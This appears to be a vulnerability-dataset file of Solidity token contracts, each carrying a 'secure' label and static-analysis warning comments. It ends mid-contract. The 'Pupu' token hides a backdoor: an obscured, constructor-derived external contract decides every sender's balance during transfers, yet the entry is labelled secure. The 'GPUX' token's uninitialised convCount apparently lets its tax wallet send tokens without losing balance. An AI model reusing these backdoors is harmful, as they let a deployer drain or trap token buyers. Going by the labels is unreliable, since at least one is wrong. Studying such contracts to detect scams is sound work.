files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract Pupu is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6157a6f): Pupu._totalSupply should be constant \n\t// Recommendation for 6157a6f: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: c24be05): Pupu._name should be constant \n\t// Recommendation for c24be05: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Pupu\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 728101d): Pupu._symbol should be constant \n\t// Recommendation for 728101d: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"PUPU\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6000d79): Pupu.Router2Instance should be immutable \n\t// Recommendation for 6000d79: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(aEdZTTu))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal pure returns (uint160) {\n return (90 +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal pure returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap(\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_37.sol",
"secure": 1,
"size_bytes": 5703
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract YieldAI is Ownable {\n string public constant name = \"YieldAI\";\n\n string public constant symbol = \"YIELDAI\";\n\n uint8 public constant decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5ee1344): YieldAI.totalSupply should be immutable \n\t// Recommendation for 5ee1344: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n IUniswapV2Router02 public immutable swapRouter;\n\n address public liquidityPair;\n\n address public treasury;\n\n uint256 private constant INITIAL_SUPPLY = 1000000000 * 10 ** 9;\n\n uint256 public maxTransactionAmount;\n\n bool public tradingEnabled;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => bool) public liquidityPairs;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event TradingEnabled();\n\n event LiquidityPairAdded(address indexed pair);\n\n event TreasuryUpdated(\n address indexed oldTreasury,\n address indexed newTreasury\n );\n\n event TokensWithdrawn(uint256 amount);\n\n event ETHWithdrawn(uint256 amount);\n\n event MaxTransactionAmountUpdated(uint256 amount);\n\n constructor(address _treasury) Ownable(msg.sender) {\n require(_treasury != address(0), \"Treasury cannot be zero address\");\n\n swapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n treasury = _treasury;\n\n maxTransactionAmount = INITIAL_SUPPLY;\n\n balanceOf[msg.sender] = INITIAL_SUPPLY;\n\n totalSupply = INITIAL_SUPPLY;\n\n emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);\n }\n\n receive() external payable {}\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public returns (bool) {\n require(\n amount <= allowance[from][msg.sender],\n \"ERC20: insufficient allowance\"\n );\n\n allowance[from][msg.sender] -= amount;\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(accountOwner != address(0), \"ERC20: approve from zero address\");\n\n require(spender != address(0), \"ERC20: approve to zero address\");\n\n allowance[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0), \"ERC20: transfer from zero address\");\n\n require(to != address(0), \"ERC20: transfer to zero address\");\n\n require(\n tradingEnabled || from == owner() || to == owner(),\n \"Trading is not enabled yet\"\n );\n\n require(\n amount <= maxTransactionAmount || from == owner() || to == owner(),\n \"Amount exceeds max transaction limit\"\n );\n\n require(\n balanceOf[from] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n balanceOf[from] -= amount;\n\n balanceOf[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ed3b67c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ed3b67c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 74c0113): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 74c0113: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingEnabled, \"Trading already enabled\");\n\n tradingEnabled = true;\n\n address factory = swapRouter.factory();\n\n\t\t// reentrancy-events | ID: ed3b67c\n\t\t// reentrancy-benign | ID: 74c0113\n liquidityPair = IUniswapV2Factory(factory).createPair(\n address(this),\n swapRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 74c0113\n liquidityPairs[liquidityPair] = true;\n\n\t\t// reentrancy-events | ID: ed3b67c\n emit TradingEnabled();\n\n\t\t// reentrancy-events | ID: ed3b67c\n emit LiquidityPairAdded(liquidityPair);\n }\n\n function setTreasury(address _newTreasury) external onlyOwner {\n require(\n _newTreasury != address(0),\n \"New treasury cannot be zero address\"\n );\n\n address oldTreasury = treasury;\n\n treasury = _newTreasury;\n\n emit TreasuryUpdated(oldTreasury, _newTreasury);\n }\n\n function setMaxTransactionAmount(uint256 _amount) external onlyOwner {\n require(_amount > 0, \"Amount must be greater than 0\");\n\n maxTransactionAmount = _amount;\n\n emit MaxTransactionAmountUpdated(_amount);\n }\n\n function withdrawETH() external onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No ETH to withdraw\");\n\n payable(treasury).transfer(balance);\n\n emit ETHWithdrawn(balance);\n }\n\n function renounceOwnership() public virtual override onlyOwner {\n revert(\"Ownership cannot be renounced\");\n }\n}",
"file_name": "solidity_code_370.sol",
"secure": 0,
"size_bytes": 6607
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract GPUX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: b45206a): GPUX._initialBuyTax should be constant \n\t// Recommendation for b45206a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: b387b7f): GPUX._initialSellTax should be constant \n\t// Recommendation for b387b7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3cecac): GPUX._finalBuyTax should be constant \n\t// Recommendation for f3cecac: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3658728): GPUX._finalSellTax should be constant \n\t// Recommendation for 3658728: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5570c4): GPUX._reduceBuyTaxAt should be constant \n\t// Recommendation for b5570c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2362db6): GPUX._reduceSellTaxAt should be constant \n\t// Recommendation for 2362db6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83bc819): GPUX._preventSwapBefore should be constant \n\t// Recommendation for 83bc819: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 8;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GPUx64 Mining\";\n\n string private constant _symbol = unicode\"GPUX\";\n\n uint256 public _maxTxAmount = 5000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 5000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 038a40b): GPUX._taxSwapThreshold should be constant \n\t// Recommendation for 038a40b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d789f7): GPUX._maxTaxSwap should be constant \n\t// Recommendation for 0d789f7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 808d56d): GPUX._taxWallet should be immutable \n\t// Recommendation for 808d56d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n IUniswapV2Router02 private immutable _uniswapV2Router;\n\n address private _uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct ConvertToken {\n uint256 pairSwapConv;\n uint256 perTokenConv;\n uint256 totalConv;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 100ea25): GPUX.convCount should be constant \n\t// Recommendation for 100ea25: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ca4bb8e): GPUX.convCount is never initialized. It is used in GPUX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for ca4bb8e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private convCount;\n\n uint256 private inTokenConv;\n\n mapping(address => ConvertToken) private convertToken;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _taxWallet = payable(0xec25799BeB16eACd3A562f367bDA0d8b3eF6F0ae);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1f2622): GPUX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1f2622: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 64abfee): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 64abfee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 243521e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 243521e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 64abfee\n\t\t// reentrancy-benign | ID: 243521e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 64abfee\n\t\t// reentrancy-benign | ID: 243521e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a32d091): GPUX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a32d091: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 243521e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 64abfee\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 68cd8dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 68cd8dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1504e92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1504e92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7740f10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7740f10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniswapV2Pair &&\n to != address(_uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 68cd8dc\n\t\t\t\t// reentrancy-benign | ID: 1504e92\n\t\t\t\t// reentrancy-eth | ID: 7740f10\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 68cd8dc\n\t\t\t\t\t// reentrancy-eth | ID: 7740f10\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 1504e92\n inTokenConv = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != _uniswapV2Pair) {\n ConvertToken storage convState = convertToken[to];\n\n if (from == _uniswapV2Pair) {\n if (convState.pairSwapConv == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 1504e92\n convState.pairSwapConv = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n ConvertToken storage convPairState = convertToken[from];\n\n if (\n convState.pairSwapConv == 0 ||\n convPairState.pairSwapConv < convState.pairSwapConv\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 1504e92\n convState.pairSwapConv = convPairState.pairSwapConv;\n }\n }\n } else {\n ConvertToken storage convPairState = convertToken[from];\n\n\t\t\t\t// reentrancy-benign | ID: 1504e92\n convPairState.perTokenConv = convPairState.pairSwapConv.sub(\n inTokenConv\n );\n\n\t\t\t\t// reentrancy-benign | ID: 1504e92\n convPairState.totalConv = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 68cd8dc\n\t\t// reentrancy-eth | ID: 7740f10\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 7740f10\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 7740f10\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 68cd8dc\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ca4bb8e): GPUX.convCount is never initialized. It is used in GPUX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for ca4bb8e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : convCount.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7740f10\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 68cd8dc\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 68cd8dc\n\t\t// reentrancy-events | ID: 64abfee\n\t\t// reentrancy-benign | ID: 1504e92\n\t\t// reentrancy-benign | ID: 243521e\n\t\t// reentrancy-eth | ID: 7740f10\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 68cd8dc\n\t\t// reentrancy-events | ID: 64abfee\n\t\t// reentrancy-eth | ID: 7740f10\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3de67eb): GPUX.openTrading() ignores return value by IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3de67eb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1ffdd76): GPUX.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1ffdd76: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de4540d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de4540d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: de4540d\n _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// unused-return | ID: 1ffdd76\n\t\t// reentrancy-eth | ID: de4540d\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 3de67eb\n\t\t// reentrancy-eth | ID: de4540d\n IERC20(_uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint256).max\n );\n\n\t\t// reentrancy-eth | ID: de4540d\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3700.sol",
"secure": 0,
"size_bytes": 20083
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISwapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_3701.sol",
"secure": 1,
"size_bytes": 201
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISwapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_3702.sol",
"secure": 1,
"size_bytes": 204
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISwapPair {\n function sync() external;\n}",
"file_name": "solidity_code_3703.sol",
"secure": 1,
"size_bytes": 117
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol\" as ISwapRouter;\nimport \"./ISwapFactory.sol\" as ISwapFactory;\nimport \"./ISwapPair.sol\" as ISwapPair;\n\ncontract Rong is ERC20, Ownable {\n ISwapRouter public immutable router;\n\n address public immutable mainPair;\n\n mapping(address => bool) public AMMPairs;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0263c6): Rong.constructor().owner shadows Ownable.owner() (function)\n\t// Recommendation for a0263c6: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d93ea4b): Rong.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for d93ea4b: Rename the local variables that shadow another component.\n constructor() ERC20(\"Rong\", \"RONG\") {\n router = ISwapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n mainPair = ISwapFactory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n _setAMMPairs(address(mainPair), true);\n\n address owner = owner();\n\n tradeFeeWallet = address(owner);\n\n marketFeeWallet = address(owner);\n\n excludeFromFees(owner, true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n uint256 totalSupply = 5_000_000 * 1e18;\n\n _mint(_msgSender(), totalSupply);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 4e25dfb): Rong._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(tx.origin == owner() || _isExcludedFromFees[tx.origin],Trading is not active)\n\t// Recommendation for 4e25dfb: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: baff3c7): Rong._transfer(address,address,uint256) uses a dangerous strict equality balanceOf(from) == amount && amount > 0\n\t// Recommendation for baff3c7: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"transfer from the zero address\");\n\n require(to != address(0), \"transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (!tradingActive) {\n\t\t\t// tx-origin | ID: 4e25dfb\n require(\n 